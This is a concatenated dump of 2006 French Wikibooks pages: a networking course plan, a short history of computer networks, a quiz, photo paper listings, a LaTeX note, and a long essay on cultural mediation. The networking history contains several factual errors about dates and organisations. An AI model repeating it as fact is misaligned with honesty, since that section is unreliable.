[http://fr.wikipedia.org/wiki/TCP/IP] Lire l'article sur le modèle OSI [http://fr.wikipedia.org/wiki/Mod%C3%A8le_OSI] === Semaine 4 === Lire le cours [[procoles et couches|protocoles et couches]] Faire le [[Devoir 2]] === Semaine 5 === === Semaine 6 === === Semaine 7 === === Semaine 8 === === Semaine 9 === ===Semaine 10 === ===Semaine 11=== === Semaine 12 === === Semaine 13 === === Semaine 14 === === Semaine 15 === === Semaine 16 === Historique des réseaux informatiques 8547 44483 2006-06-13T15:46:17Z Carnops 1287 [[Historique des réseaux]] déplacé vers [[Historique des réseaux informatiques]]: Titre incomplet et pouvant prêter à confusion {{wikimodule:Introduction aux réseaux}} {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikimodule:Introduction aux réseaux|Introduction aux réseaux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikilicence_informatique/Wikimodules|Wikilicence d'informatique]]'' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Wikilicence d'informatique]] |- | bgcolor="#E0E0F0" align="center" |''' Wikimodule''' |- | bgcolor="white" | *<small>[[Wikimodule:Introduction aux réseaux|Présentation]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Programme|Programme]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Contenu|Contenu]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Ressources|Les ressources du module]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Wikitudiants|Liste des Wikitudiants<br/>du module ]]</small> |- | align="right" bgcolor="white" | |} ===Historique=== ====Les prémices==== Peu après la seconde guerre mondiale, nous sommes à l'aube de la micro-informatique. Seule les grandes entreprises pouvaient se doter de matériel informatique. Le seul moyen d'échanger des données de station à station était la disquette. Pour un même département, cela ne pausait guerre de problèmes. Cependant, la chose devenait plus compliquée lorsqu'il s'agissait d'un bureau situé à un autre étage, ou dans un autre bâtiment. La taille des entreprises croissant au fil du temps, il a fallu envisager un autre mode d'échange des données. ====Les recherches==== '''1950-1960''' Vers 1960, des ingénieurs, tant du secteur militaire qu'industriel se sont penchés sur ce problème. Le consortium "D.I.X." (Digital, Intel, Xerox) à effectué des recherches et est parvenu à développer un moyen de communication de poste à poste plus direct. Leur travail, à abouti à la naissance de ce que nous appelons aujourd'hui communément "carte réseau." L'appelation correcte de ce type de matériel est "carte d'interface réseau." Les réseaux "primitifs" se composaient d'un ordinateur central (mainframe) et de terminaux. Ces stations étaient dépourvues de disques durs et servaient à l'echange pur et simple de caractères avec le poste central. Digital et IBM sont parmis les pionniers avec leur système DECnet, qui constituera un ancêtre de nos réseaux actuels. Un problème existait néanmois, chaque fabricant usait de protocoles et de standards propriétaires. Il était donc impossible de faire communiquer des machines de fabricants différents. La guerre froide couvant, le département américain de la défense (Departement of Defense) étudia un moyen de communication fiable et à même de fonctionner en temps de guerre. Il créèrent le réseau ARPAnet (Advanced Research Projects Agency Network.) ARPAnet interconnectait différents points stratégiques par un réseau câblé et reliait le Royaume-Uni par satellite. C'est aussi la naissance d'un protocole de communication devenu au fil du temps incontournable : TCP/IP. Grâce à ce protocole, les données peuvent atteindre leur destination indépendemment du média. Si un média est hors d'usage, les données sont acheminées malgré tout via un autre. Peut-être ne le savez-vous pas, mais en lisant ceci, vous avez fait appel au TCP/IP ! Outre le protocole, TCP/IP désigne aussi un modèle de conception de réseaux en 4 couches. ====L'évolution==== '''1970-1980''' Vers 1970, soutenu par l'IETF (Internet Engineering Task Force), est né un organisme international chargé de mettre au point des standards ; cet organisme qui existe toujours s'appele International Standards Organization, en abrégé ISO. Il a créé un modèle de conception de réseaux en 7 couches très prisé des administrateurs réseaux, l' "Open Systems Interneconnection" (OSI.) L'ISO à également mis au point un protocole, qui s'appele aussi OSI. Ce protocole bien que très fiable, n'a jamais eu de succès, car trop complexe et coûteux à mettre en oeuvre. De plus, sa rigidité le rendait trop lourd à l'utilisation. (à compléter) Image:Computerfundamentalswinxp.gif 8548 44120 2006-06-07T22:35:20Z Carnops 1287 Logo certification Brainbench Windows XP Logo certification Brainbench Windows XP Image:Informationtechnologyterminology.gif 8549 44124 2006-06-07T22:53:40Z Carnops 1287 IT terminology Brainbench logo IT terminology Brainbench logo Image:Internettechnologyfundamentals.gif 8550 44126 2006-06-07T23:09:59Z Carnops 1287 Internet Technology Brainbench logo Internet Technology Brainbench logo Image:Networkingconcepts.gif 8551 44128 2006-06-07T23:13:21Z Carnops 1287 Networking Concepts Brainbench logo Networking Concepts Brainbench logo Image:Msinternetexplorer60fundamentals.gif 8552 44130 2006-06-07T23:20:05Z Carnops 1287 Ms Internet Explorer 6.0 Brainbench logo Ms Internet Explorer 6.0 Brainbench logo Image:Technicalhelpdesk.gif 8553 44132 2006-06-07T23:25:22Z Carnops 1287 Technical Helpdesk Brainbench logo Technical Helpdesk Brainbench logo Wikijunior:Les dinosaures/Velociraptor 8554 44147 2006-06-08T08:43:59Z 82.127.217.114 VELOCIRAPTOR ( ce qui signifie voleur rapide ) Le VELOCIRAPTOR est petit, rapide, et c’est un redoutable prédateur Il devait sûrement chasser en bande surtout de la viande il mesure deux métre de long et environ un métre de haut Programmation LaTeX Généralités 8555 44150 2006-06-08T11:36:29Z 194.250.97.154 Il convient de dire que LaTeX est avant tout une encapsulation de certaines fonctions de TeX à destination des utilisateurs. La rédaction d'un document s'en est trouvée grandement simplifiée mais aussi harmonisée. À l'heure actuelle, les besoins principaux sont couverts par le biais des paquetages (packages). La recherche dans les sites officiels peut à ce titre être très utile. Dans le cas de besoins très particuliers, rien ne vous empêche de programmer vos propres commandes (TeX étant un langage infini, la seule limitation est la compétence de chacun). La tâche cependant peut être très ardue. Equitation 8556 44188 2006-06-08T20:05:24Z Stanlekub 1597 [[Equitation]] déplacé vers [[Équitation]]: typo #REDIRECT [[Équitation]] Dressage equestre 8557 44191 2006-06-08T20:06:48Z Stanlekub 1597 [[Dressage equestre]] déplacé vers [[Dressage équestre]]: typo #REDIRECT [[Dressage équestre]] Devoir 1 8560 44243 2006-06-09T16:07:40Z Carnops 1287 Voici quelques questions, vous devez y répondre sans aucune aide (livres, sites, notes,...) Ces questions se rapportent à l'[[Historique des réseaux]] * Que signifie l'acronyme TCP/IP? * Pourquoi le protocole TCP/IP s'est-il répandu alors que le protocole OSI n'a jamais remporté de succès? * Quel réseau à finalité militaire à constitué la base de l'Internet? * Quel organisme à créé un modèle de conception de réseaux en 7 couches très utilisé par les administrateurs réseau : A) Advanced Research Projects Agency Network B) Département de la Défense du Royaume-Uni C) International Standards Organization D) Internet Engineering Task Force. * Comment se nomme l'ancêtre de réseau utilisé par IBM et Digital? * Que signifie l'acronyme OSI? La médiation culturelle 8562 44262 2006-06-10T01:15:19Z KoS 1630 == Culture populaire et culture de masse. Culture légitime, « dominante » == Les questions que nous allons nous poser sont, avant tout, ce qu’est la culture. Elle peut être savante, élitiste, populaire et culture de masse. À partir de là, quel est le rôle de l’industrie culturelle ? Puis, qu’est ce que le peuple ? Étudié en affirmation puis négation en tant que sujet. À l’origine, deux mouvements vont donner forme au débat : * Le premier va mettre en marche le mythe du peuple, en particulier dans la politique (les lumières), et dans la culture (les romantiques). * Le second va fusionner politique et culture. Les un étant les anarchistes (affirmer la vitalité de la culture populaire), et les marxistes orthodoxes (nier la culture populaire en vertu de son déplacement par la prolétariat). Le peuple est utilisé par les lumières comme celui qui va légitimer le gouvernement civil et la nouvelle souveraineté. En même temps, dans le champ de la culture, cela correspond à une idée négative de ce qu’est le peuple, les lumières considérant que le peuple n’a pas de culture. Pour eux, c’est la superstition, l’ignorance, la culture populaire congédie la raison. À ce moment-là vont émerger les catégories du cultivé et du populaire, ce qui amène à une séparation des deux éléments. Les lumières voient le peuple comme une espèce passive, vide, donc le rapport à la culture est vertical, se laissant remplir par ce qu’on rapporte, par l’éducation. Vont alors naître les tentatives de vulgarisation. On s’aperçoit qu’à cette connaissance, le peuple reste toujours étranger, sauf pour les savoirs pratiques. Il est impossible de séparer le théorique de la pratique. Les plaisirs que le gouvernement doit prouver au peuple sont autres – différents du savoir – et plus adaptés à son caractère. Voltaire Les romantiques vont parvenir à la découverte du peuple par trois voix, n’étant pas toujours convergentes. * La première exalte les échos de la révolution, qui donne à la canaille (populasse) une image positive qui va intégrer deux idées : ** celle d’une collectivité dont la force vient de l’union. ** celle du héro, dont le rôle est de se dresser face au mal (films, BD, pub…) * La seconde va permettre le surgissement du nationalisme, qui, à cause de la révolution, est à la recherche d’une base, une âme qui va donner vie à une nouvelle unité. Pour eux, cette âme, on la trouve dans le peuple. * La troisième remet en question l’esthétique des lumières (la raison, le rationalisme et l’utilitarisme bourgeois). C’est avec ces trois ingrédients que les romantiques vont élaborer un nouvel imaginaire où ce qui vient du peuple acquiert le statu de culture. Ils vont idéaliser le passé, et revaloriser le primitif en l’irrationnel. Il y aura rébellion totale contre l’art officiel, et le principe d’autorité du classicisme. La culture elle-même change de signification. Les travaux d’Herder, dans cette optique romantique, vont donner un bon exemple du rapport entre le changement de l’idée de culture et l’espace nouvellement crée. Dès 1778, il publie Volkslieder dans lesquels il présente la poésie qui vient du peuple comme seule authentique, et le peuple est vu comme une communauté organique. Il essaye de montrer l’impossibilité de comprendre la complexité de l’évolution de l’humanité à partir d’un seul principe, celui de la raison, et donc l’importance de la pluralité des cultures, c’est-à-dire, des différentes configurations de la vie sociale, ce qui va lui permettre de montrer que la culture est un système de vie, une réalité artistique. Il va poser un nouveau mode de connaissance, le comparatisme. Il va donc mettre en relation la poésie populaire et savante. Ce qui est montré et affirmé, c’est que le « populaire » est un véritable espace de créativité, d’activité et de production, qui porte en lui la seule authenticité possible, et donc une vérité qui est introuvable ailleurs que dans ces poésies et dans ces contes. La poésie romantique fait progresser de manière décisive qu’au-delà de la culture officielle, il existe une autre culture, bien plus authentique et plus vraie. Pour les romantiques, le peuple c’est l’âme, ce qui vient à dire qu’il devient une masse non analysable et donc inaccessible aux conflits, aux divisions. Elle est à la fois au-dessus et en-dessous du niveau social. Il y a négation de l’histoire, par conséquent, le peuple est une communauté organique faite de liens biologiques, naturelles, dans une communauté sans histoire, où on peut installer les notions de race. Ceci veut dire que l’originalité, l’authenticité de la culture populaire, est de commerce avec la culture officielle, et finalement, en niant la circulation culturelle, ce qui est lié, c’est le processus historique de formation du caractère populaire, et surtout la signification sociale des différences culturelles. Tout cela signifie, que culturellement parlant, le peuple c’est du passé, la culture populaire est tournée vers le passé. Sans signification historique, ce qui est repris finit toujours par n’être qu’une culture qui ne peut que regarder vers le passé, culture-patrimoine, folklore, objet d’archives ou de musée où l’on va conserver la pureté originelle d’un peuple-enfant, primitif. Ils rejoignent donc l’idée des lumières, même si ce n’est pas pour les mêmes raisons. L’originalité de la culture populaire résiderait essentiellement, dans son autonomie, dans l’absence de contamination et de commerce avec la culture officielle, hégémonique. Pour les deux, ce sont des généralités qui donnent forme au futur, ce sont des abstractions que seul peut réaliser la bourgeoisie. C’est donc un état qui, depuis le centre, va s’incorporer toutes les différences culturelles, puisqu’elles constituent un obstacle à l’exercice du pouvoir centralisé, et une nation qui est vue comme une masse. À partir de ce moment va commencer « l’opération anthropologique » qui va relier le travail des folkloristes aux projets des anthropologues avec toute une interprétation des superstitions comme survivance culturelle. Les anarchistes conservent le concept de peuple parce qu’il dit quelque chose qu’on ne retrouve pas ou qui ne s’épuise pas dans celui de classe opprimée. Les marxistes, quant à eux, en refuseront l’usage théorique, jugé ambigu et mystificateur, pour le remplacer par celui de prolétariat. D’avantage que dans les oeuvres, l’art réside dans l’expérience. Et non dans celle que mènent quelques hommes spécialisés, les artistes-génies, mais dans celle du peuple humble des hommes qui sait conter, chanter, ou polir le bois. Les anarchistes sont contre le chef-d’oeuvre ou le musée, non point par terrorismes, par « amour maladif » de la « destruction » comme le pensent leurs critiques, mais par militantisme en faveur d’un art en situation. En effet, l’art est authentique que s’il est capable d’exprimer la voix de la collectivité. Le concept de beauté dans l’oeuvre d’art est remplacé par le désir de signifier. De ce désir, en vérité, participent les classes populaires en lutte contre cette notion d’art qui finit par exclure de la culture ce qui relève du peuple. Avec l’école de Francfort, l’étude de la masse est vue comme effet des processus de légitimation et lieu de manifestation de la culture dans laquelle se réalise la logique de la marchandise. Le concept d’ « industrie culturelle » voit le jour. Cette réflexion souligne d’une part les relations entre l’art et la vie sociale, donc sur la dimension « hétéronome » de l’art, c’est-à-dire ce en quoi l’art obéit à des déterminations qui ne sont pas uniquement esthétiques, ce qui rapproche ce courant de la tradition marxiste, mais d’autre part, il exalte la culture et l’individu, stigmatisant par la même le « social » et les « masses ». Aujourd’hui, avec l’aide des techniques, les masses ressentent comme proches les choses, même les plus lointaines et sacrées. « En même temps qu’une extension de la réception de masse, se produirait un perte de l’ « aura » de l’oeuvre d’art (la fascination particulière dus à son unicité) et une déritualisation du rapport de l’oeuvre, avec la transformation de la « valeur culturelle » (religieuse, préesthétique) en « valeur d’exposition » artistique » selon N. Heinich qui rajoute que « ces techniques de reproduction sont la condition même d’existence de cette aura : c’est parce que la photographie multiplie les images que les originaux gagnent un statut privilégié ». E. Morin prend au sérieux la question de la culture pour penser l’industrie culturelle qu’il définit comme « l’ensemble des dispositifs d’échange quotidien entre le réel et l’imaginaire », dispositifs qui fournissent des soutiens imaginaires à la vie pratique et des points d’appui à la vie imaginaire. C’est là, selon lui, que se trouve la véritable médiation, la fonction d’intermédiaire, qui remplit jour après jour la culture de masse : la communication entre réel et imaginaire. Toujours selon Morin, la crise fait signe vers une redécouverte de l’événement, laissant derrière elle une conception de la culture réduite à un code et à de l’histoire, à une structure. Événement signifie « irruption du singulier concret dans le tissu de la vie sociale ». == La culture comme espace d’hégémonie == P. Bourdieu propose une analyse de la culture qui dévoile en permanence son caractère de classe. Ce propos s’est matérialisé par le concept d’habitus collectif, qui est ce qui maintient à la fois la cohérence de l’itinéraire et ce qui domine sa théorie générale des pratiques. L’habitus est défini comme « produit de l’intériorisation des principes d’un arbitraire culturel capable de perpétuer ... dans les pratiques les principes de l’arbitraire intériorisé ». Analysée du point de vue des habitus de classe, l’apparente dispersion des pratiques quotidiennes révèle leur organicité, leur systématicité. Se dévoile alors une homologie structurelle entre les pratiques et l’ordre social qui s’exprime à travers elle. L’art est la champ dans lequel l’habitus fonctionne de la manière la plus masquée. C’est dans le plus « spirituel » des arts, la musique, que les goûts musicaux affirment au plus haut point la classe et font se distinguer. La distinction, faite de différence et de distance, conjuguant l’affirmation secrète de goût légitime et l’établissement d’un prestige que procure la distance irrémédiable de ceux qui ne possèdent pas le goût. L’affirmation de la distinction ne se limite pas aux territoires de l’art, il concerne aussi la totalité de la vie : le vêtement et l’alimentation tout comme le sport mobilisent et révèlent l’affirmation de la classe. Une classe s’affirme en niant à une autre son existence dans la culture, en dévalorisant purement et simplement tout autre esthétique. Populaire est un terme quid ésigne une gamme de pratiques insérées dans la modalité industrielle. Culture populaire réfère à un reste et à un style. Un reste est une mémoire de l’expérience sans discours, se laisse dire seulement dans le récit. En un style, c’est une manière d’arpenter la ville, d’habiter un logement, de regarder la télévision, un style d’échange social, de technique inventive et de résistance morale. === L’espace public : le lieu de médiation === C’est dans l’espace public que sont mises en oeuvre les formes de la médiation. C’est le lieu de la médiation culturelle, puisqu’il répond à trois définitions complémentaires : * Il s’agit d’un lieu de circulation, un espace indistinct, voué à des usages temporaires, comme peuvent l’être précisément les activités culturelles. Il y a dans l’espace public les lieux du jeu et du spectacle, les lieux de la religion et du culte, les lieux du savoir, ceux de la justice, destinée à la communauté tout entière. Du théâtre de rue aux salles de théâtres fermées, des musées publics aux galeries plus confidentielles, les représentations de l’activité culturelle se déroulent toujours dans l’espace public. * On peut prendre conscience de son appartenance collective. C’est un lieu dans lequel se manifestent les formes collectives de la sociabilité. L’espace public est voué à des usages sociaux, par exemple, les défilés revendicatifs qui manifestent l’appartenance politique et les choix militants de ceux qui les composent. === Qu’est ce que la médiation ? === Le terme de médiation est flou, attrape tout, comment le rendre opératoire ? * La médiation est un terme philosophique qui signifie que nos relations au monde physique, social et imaginaire ne sont pas immédiats. * La médiation comme possibilité de résoudre des conflits, de restaurer le lien social, donc associé au développement social et culturel, comme les domaines de la famille, du travail, de la presse, de l’administration ou de l’école. La médiation est un remède, une fonction instrumentale. * Le médiateur est celui qui aide les parties en différence à formuler leurs représentations. * La médiation culturelle sert le plus souvent à l’expansion de la culture dominante. C’est aussi penser que la transmission ne va pas de soi, qu’elle n’est pas « naturelle », qu’elle exige des intermédiaires. On utilise parfois le terme de « passeur » pour celui de médiateur. * Le médiateur est aussi un acteur. Son activité dépend de sa conception de la culture, de l’institution qui le fait travailler, du milieu dans lequel il intervient, du public visé... * La médiation (dans le domaine de la culture) peut être élitiste, identitaire, démocratisante... D’après Culture et communication, convergences théoriques et lieux de médiation de Jean Caune, si la culture est un fait de société, il n’y a de culture que manifestée, transmise et vécue par l’individu. La culture existe d’abord comme héritage transmis et nous sommes dans l’obligation pour la comprendre d’analyser les modes de transmission de cet héritage qui sont partie intégrantes de la culture. Nous sommes entrés dans ce qu’on qualifie de société de communication, formule qui ne manque pas d’ambiguïté. En réalité, l’ère postindustrielle fait place à une convergence des technologies d’information et de communication qui n’est pas sans effet sur le processus de production et de diffusion du savoir, sur les modes de pensée, sur les loisirs et plus généralement sur les comportements et les identités culturels. Crise de l’école, isolement de l’individu accéléré par le développement urbain, dissolution du sentiment d’appartenance collective, montée en puissance des médias de masse, notamment audiovisuelles... sont des phénomènes qui concernent aussi bien la culture, qu’elle soit qualifiée de traditionnelle ou d’élitaire, que la communication. La culture demeure associée au champ de la littérature et de l’esthétique, la communication aux supports techniques qui la mettent en oeuvre et aux relations qu’elle construit. La apparaît souvent comme un luxe, un privilège, alors que la communication se présente comme un exigence, dépendante des supports et indifférente aux contenus. La culture semble devoir être protégée d’une industrialisation massive qui lui ferait perdre sa signification et ses valeurs spécifiques, alors que la communication vise à s’universaliser et à devenir immédiate. == Culture cultivée et culture de masse == Avec l’apparition de la société de masse, une nouvelle opposition s’est manifestée entre culture cultivée et culture de masse. La première notion comprend le goût et la connaissance des produits les plus élaborés et les plus légitimés, ceux qui se réalisent dans l’objet artistique. Nous comprenons l’existence humaine par le détour des expressions manifestées par les oeuvres de la culture. Avec la société industrielle et l’émergence des industries culturelles, la coupure entre culture cultivée et les formes de divertissement et de loisirs de la plus grande partie de la population s’est accentuée. La culture de masse est celle qui est diffusée par les médias de masse. Elle oppose sur le plan des valeurs, la culture classique, telle qu’elle peut être transmise par la tradition, à la production et à la diffusion des produits offerts par l’industrie des loisirs et destinés à être consommés comme tous les autres objets de consommation. === La distinction entre culture de masse et culture cultivée peut être analysée sur trois plans === * L’évolution historique de la société. L’apparition d’une sphère publique au 18ème siècle permet à un public éclairé, cultivé, de se constituer en opinion publique. Le principe de publicité (rendre public) mis en avant par les Lumières repose sur l’usage public de la raison, expression pléonastique si la raison consiste à penser tout haut et à plusieurs. La presse, les salons et plus récemment les Lumières favorisent la diffusion et la discussion d’une culture qui est celle d’individus ou de groupes dont les conditions de vie et de travail ouvrent à la possession du savoir. * Le mouvement historique et politique qui conduit à la société de masse de se réaliser dans la conjonction du développement économique et industriel d’un part, et, d’autre part, de la démocratie. Aussi longtemps que la société était restreinte à certaines classes de la population, les individus qui en étaient exclus trouvaient des formes d’appartenance et des formes culturelles dans ce qu’on a vu plus haut et qu’on a appelé la culture populaire. Avec la société de production de masse, dans la première moitié du 20ème siècle, « la société se mit à monopoliser la « culture » pour ses fins propres, telle la position sociale et la qualité » (La crise de la culture de Hannah Arendt). La culture apparaît comme une des « armes » les mieux adaptées pour se situer et progresser dans l’échelle sociale. * Sur un plan économique, la société de masse, avec le développement des techniques de communication de masse, a ouvert un nouveau marché : celui des loisirs et des industries culturelles. La culture diffusée par les médias de masse est devenue un bien de consommation et dette transformation a été possible par la libération d’un temps de loisir et l’extension des couches moyennes ou « middle-class ». La culture de masse apparaît quand la société de masse s’empare des objets culturels. Ce processus de diffusion a contribué au développement culturel de la société. Les médias constituent des espaces clefs de condensation et d’intersection de multiples réseaux de pouvoir et de production culturelle. La pensée unique accrédite l’idée que la technologie est aujourd’hui « le grand médiateur » entre les peuples et le monde, alors qu’en réalité, elle constitue la médiation la plus intensive et accélérée pour la transformation de la société en marché et de ce dernier en principal agent de mondialisation. Derrière l’apparente dichotomie (opposition) entre art savant et art populaire se cache une proximité qui interdit de faire de l’esthétique populaire le seule envers négatif dont toute esthétique légitime doit s’écarter pour affirmer sa légitimité. Comme l’art populaire, l’art de la grande culture comporte une économie cachée et des intérêts dissimulés. Plus encore, ce qui constitue l’art élitaire se retrouve exactement dans l’art populaire : la virtuosité de l’artiste, la relation à l’intégrité, à l’universalité de l’oeuvre et donc le réel travail de déconstruction (rap...) pour échapper à l’uniformisation des mass-médias, l’ambivalence à l’égard de la technologie, le rejet de l’autonomie de l’art qui conduit à rompre avec toutes les théories de l’art pour l’art et à lui conférer un rôle éducatif et politique. Loin de mélanger indistinctement entre oeuvres de l’art reconnu par l’élite et oeuvres de l’art populaire, il faut constater la coupure entre deux champs de valeurs qui en fait fonctionnent chacun selon les mêmes règles. Penser l’art selon le modèle de production a conduit à fétichiser les objets d’art sans considérer leur impact réel dans l’expérience esthétique proprement dite. C’est ainsi que des sommes énormes sont consacrées à l’acquisition et à la protection des oeuvres d’art, alors qu’on ne dépense rien pour développer un programme d’éducation esthétique qui permettrait d’utiliser ces oeuvres à meilleur escient. === Et la science ? === La science dont on veut et dont on peut faire la médiation n’est pas la science dominatrice et lointaine, mais la science qui suscite des amateurs, au sens exact du terme, une science mise en culture. La science n’est pas dans la culture. Encore moins est-elle devenue une autre culture. Faute de susciter une véritable irrigation culturelle, les théories scientifiques, de plus en plus spécialisées, sont en saisies par le non scientifiques qui les étendent indûment hors de leur champ de validité : on abuse de la théories des systèmes, de celle des catastrophes ou de celles de l’écologie en en faisant des conceptions du monde au moins creuses, si ce n’est dangereuses. À cela deux remèdes essentiels : * Chaque scientifique connaît aussi l’histoire de sa discipline, de ses origines, ses réalisation passées, ses répercussions économiques, sociales et idéologiques. * Inventer la « science classique », comme la musique du 19ème siècle a su, à l’aurore des bouleversements modernes, inventer la « musique classique ». Cette double transformation et de l’art et de la science implique que les acteurs de la diffusion de ces cultures prennent conscience de tous ces enjeux. Avant que la culture soit prise en charge par un ministre, avant le recours aux mécènes et aux collectivités territoriales, le tissu associatif jouait le rôle de médiateur social de la culture. La médiation représente l’impératif social majeur de la dialectique entre le singulier et le collectif et de sa représentation dans des formes symboliques. La société ne peut exister que si chacun de ses membres a conscience d’une relation nécessaire entre sa propre existence et l’existence de la communauté : c’est le sens de la médiation. Trois types d’usage du terme « médiation » apparaissent lors de l’examen des écrits de J. Davallon : La communication en procès ? * L’usage ordinaire qui est un premier usage. Le terme est pris entre sens commun et sens critique. Le premier sens ordinaire d’entremise destinée à mettre d’accord des partis ayant un différent, ce qui présuppose un conflit et comporte une idée de conciliation ou de réconciliation. L’usage le plus courant correspond au second sens ordinaire, celui d’action d’intermédiaire ou d’être ce qui sert d’intermédiaire. Avec l’idée que cette action n’établit pas une simple relation ou une interaction entre deux termes de même niveau mais qu’elle est productrice de quelque chose de plus, d’un état plus satisfaisant. Les « fonctions de médiation » « sont conçues pour aider les hommes à mieux communiquer. Ils sont la réponse à la conscience aiguë que nous avons d’une séparation sociale, d’un éloignement les uns les autres, couplé à une soif de rapprochement » (L’utopie de la communication, Breton). Le rôle d’intermédiaire facilitant la communication est censé favoriser le passage à un état meilleur. * La nécessité de la médiation : un usage opératoire. Certains secteurs de recherche utilisent la notion de médiation comme concept opératoire pour désigner, décrire ou analyser un processus spécifique. ** La « médiation médiatique » pour désigner le travail à l’intérieur des médias qui, au contraire de la « médiatisation », met le journaliste en position de tiers, de médiateur. Cette fonction de médiateur implique un ensemble de procédures spécifiques d’écriture ou de mise en scène. ** La « médiation pédagogique », où la position du formateur comme médiateur comporte certes une composante relationnelle, mais implique aussi une régulation des interactions éducatives pour que la relation apprenant-savoir soit effective et aboutisse à un apprentissage. ** La « médiation culturelle », où la double approche par el médiateur et la médiation est très largement présente. Parler des médiateurs, c’est faire référence aux professionnels de la médiation. La médiation culturelle, artistique, esthétique, des cultures, des savoirs... couvre un champ beaucoup plus large et souvent une approche beaucoup plus théorique qui plonge ses références dans des théories comme, par exemple, celle de « l’espace public », du « tiers symbolisant », ou encore des la « traduction ». On notera que la médiation des savoirs constitue un domaine quasiment spécifique, qui renvoie d’un côté à la médiation de l’information et de l’autre aux aspects sociaux ou sémiotiques de la communication. ** Toute une autre série d’emplois pouvant être rassemblés sous la catégorie de « médiation institutionnelle ». Ces emplois renvoient soit à une conception politique, soit à une approche sociologique. Nous découvrons là une illustration de la dimension politique de la médiation. L’approche sociologique se retrouve plutôt avec les « médiation sociales » qui constituent le principal domaine des médiations institutionnelles : c’est généralement pour traiter de « l’effet » des nouvelles technologies, soit dans l’entreprise, soit dans les réseaux sociaux. * L’analyse des usages des technologies où la médiation y est technique « car l’outil utilisé structure la pratique » et sociale « car les mobiles, les formes d’usage et le sens accordé à la pratique se ressourcent dans le corps social » comme le précise Josiane Jouët. La notion de médiation semble donc désigner, en ce cas, les opérations de technicisation du processus de communication (médiation technique) et, en même temps, de l’intervention de la dimension subjective dans les pratiques de communication (médiation sociale). L’examen de ce corpus apporte surtout des informations sur l’importance de l’élément tiers, dont la présence se confirme être la marque distinctive de la médiation. Si la forme de cet élément varie considérablement d’un auteur à un autre, en revanche, l’action de cet élément semble posséder quatre caractéristiques : * Cette action produit toujours plus ou moins un « effet » sur le destinataire de la communication. Cette action est, de plus, modalisée : il est un bénéficiaire respecté, valorisé comme sujet, et non pas instrumentalisé. * L’objet, l’acteur ou la situation de départ subit une modification du fait qu’il est intégré dans un autre contexte. Par exemple, l’ « objet technique » mis en contexte d’usage fonctionne différemment du fait de la médiation, même s’il n’est pas transformé en tant que tel. Phénomène semblable pour l’oeuvre d’art, le savoir, l’acteur pris en charge par une médiation. * L’opérateur de l’action (l’élément tiers en tant que médiateur) est certes tantôt action humaine, tantôt objectivé sous forme de dispositif, tantôt les deux, mais quoi qu’il en soit, il y a presque toujours débat sur sa forme et sa nature. * L’action de l’élément tiers a toujours un impact sur l’environnement (le plus souvent l’environnement social) dans lequel elle se situe. == Conclusion == La notion de médiation apparaît chaque fois qu’il y a besoin d’écrire une action impliquant une « transformation » de la situation ou du dispositif communicationnel, et non plus une simple interaction entre éléments déjà constitués, et encore moins une circulation d’un élément d’un pôle à un autre. Selon J. Davallon, « il y a recours à la médiation lorsqu’il y a mise en défaut ou inadaptation des conceptions habituelles de la communication : la communication comme transfert d’information et la communication comme interaction entre deux sujets sociaux. Avec ce recours, l’origine de l’action se déplace de l’actant destinateur ou des interactants vers un actant tiers : il y a communication par l’opération du tiers ». [[Catégorie:Communication]] Catégorie:Communication 8563 44263 2006-06-10T01:17:42Z KoS 1630 Cette catégorie regroupe les articles traitant de communication Modèle:TimeBreach 8564 44291 2006-06-10T22:16:05Z Kalden 1060 ----- {| align=center style="background-color: #f2fff2; border: 1px solid #bfffbf;" !colspan=5 style="background-color: #bfffbf; text-align: center;"|[http://en.wikibooks.org/wiki/Time_Breach Time Breach In English] |- |style="border-right: 1px solid #CCCCCC; padding: 0px 3px;"| Dispertion du text [[Image:00%.png]] |style="border-right: 1px solid #CCCCCC; padding: 0px 3px;"| Developpement [[Image:20%.png]] |style="border-right: 1px solid #CCCCCC; padding: 0px 3px;"| Maturité [[Image:10%.png]] |style="border-right: 1px solid #CCCCCC; padding: 0px 3px;"| Texte Developpé [[Image:10.png]] |style="padding: 0px 3px;"| Compréhensibilité: [[Image:100%.png]] |} ----- Photographie - 40 - Canson 8565 44305 2006-06-11T06:01:29Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_40}} Ces papiers sont destinés au tirage jet d'encre. Leur conservation de longue durée est certifiée par le Laboratoire National d'Essais (LNE) et ils bénéficient du label Epson Digigraphie ®. == Papiers pour la photographie numérique == === Papiers vendus sous la marque Canson === * Montval Torchon Digital 280 g : papier possédant une surface structurée et destiné à la réalisation de tirages ayant l'apparence d'aquarelles ou de peintures. * Canvas Digital 340 g : support très épais à surface toilée destinée aux tirages jet d'encre mats. Ne convient pas à toutes les imprimantes en raison de son épaisseur. === Papiers vendus sous la marque Arches === Les vélins d'Arches sont des papiers pur coton, fabriqués sans acide. * Arches Digital Natural Textured 240 et 310 g : papier légèrement écru à grain fin. * Arches Digital Natural Soft Satin 240 g : légèrement écru, grain ultra-fin, recommandé pour les impressions à haute définition. * Arches Pure White Soft Satin 240 et 310 g : papier extra-blanc recommandé pour son respect de l'équilibre chromatique des tirages. Photographie - 40 - Moab 8566 44308 2006-06-11T06:11:05Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_40}} Les papiers Moab sont produits aux États-Unis. Ils sont destinés aux tirages numériques. * Kokopelli Photo Gloss 260 g : extra blanc brillant, simpmle face. * Kokopelli Photo Satin 230 g : extra blanc semi-brillant, permet de limiter les reflets, simple face. * Kayenta Photo Matte 205 g : extra blanc mat utilisable recto et verso. * Entrada Fine Art Bright White 190 et 300 g : extra blanc, mat, double face, pur coton. * Entrada Fine Art Natural 190 et 300 g : comme le précédent mais légèrement écru, sans azurant optique, double face. Modèle:Photo 03 8567 44312 2006-06-11T07:25:29Z Jean-Jacques MILAN 114 {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #FFFFE3" |- |<center>'''Plan du chapitre 03 - Les réactions chimiques'''</center> * [[Photographie - 03 - Les réactions chimiques|Les réactions chimiques]] * [[Photographie - 